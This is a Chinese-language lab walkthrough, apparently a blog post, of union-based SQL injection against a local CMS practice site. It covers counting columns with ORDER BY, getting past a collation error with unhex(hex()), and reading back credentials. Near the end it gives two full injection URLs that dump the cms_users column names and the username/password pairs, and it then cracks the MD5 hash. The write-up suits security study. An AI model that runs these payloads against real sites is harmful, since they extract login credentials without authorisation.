点击列表中的任意新闻链接进行查看:
发现url中get请求的id,查看不同的id值来寻找注入点:
id不同,页面显示不同,找到注入切入点,考虑联合查询法注入!
判断id值是数字类型还是字符类型:
id是数字类型!
由于DVWA中,已经测试其它方法,这里不再测试!
联合查询,需要保证两表的列数相同和列的数据类型相同:
- 数据类型相同,通过数字来表示。
- 列数相同,通过order by来测试获取,列数不存在,报错,存在,不报错!
order by测试获取列数:
确定列数为15!
联合查询,只想显示union select右边表的数据,所以左边条件置为false,反正不影响and的取值,这里的目的只想显示右表的数据:
联合查询进行注入:
图示可知只显示3和11列的数据,说明通过这两个字段可以获取需要的信息,实践:
数据库名:cms
MySQL版本:5.5.53
目的是获取后台登录的账户和密码,需要通过表来查询:
获取所有表:
提示错误信息:
Illegal mix of collations for operation 'UNION'
(确定sql语句没有写错,不然会提示语法错误!)
验证:
查看cms中的表的字段的类型和字符编码:(真实sql注入场景,没法查看cms中的信息)
information_schema库的tables表:
cms中的cms_article表和information_schema的tables表,对应的字段的类型不同,编码又不同,联合查询会失败!
问题所在:字段的字符编码不同导致!
解决思路:
- 不管什么类型,什么编码方式,在CPU看来最后都是0或1,所以全部转化为二进制,联合查询应该没问题!
- 修改为相同的字符编码方式!
实验思路1:
错误消失,但显示内容是一串16进制数字,通过UNHEX(),把相应的16进制数字转化为字符:
成功获取所有表!
获取指定cms_users中所有字段:
http://localhost/cms/show.php?id=34 and 1=2 union select 1,2,group_concat(unhex(hex(column_name))),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_schema=database() and table_name='cms_users' --+
获取username和password字段内容:
http://localhost/cms/show.php?id=34 and 1=2 union select 1,2,group_concat(unhex(hex(concat(username,'=',password)))),4,5,6,7,8,9,10,11,12,13,14,15 from cms_users --+
md5解密:
验证:(admin/123456)
Well Done!!!
实验思路2:
转化为相同的编码:
改为:utf8_unicode_ci
没测试,但是你请可以随意!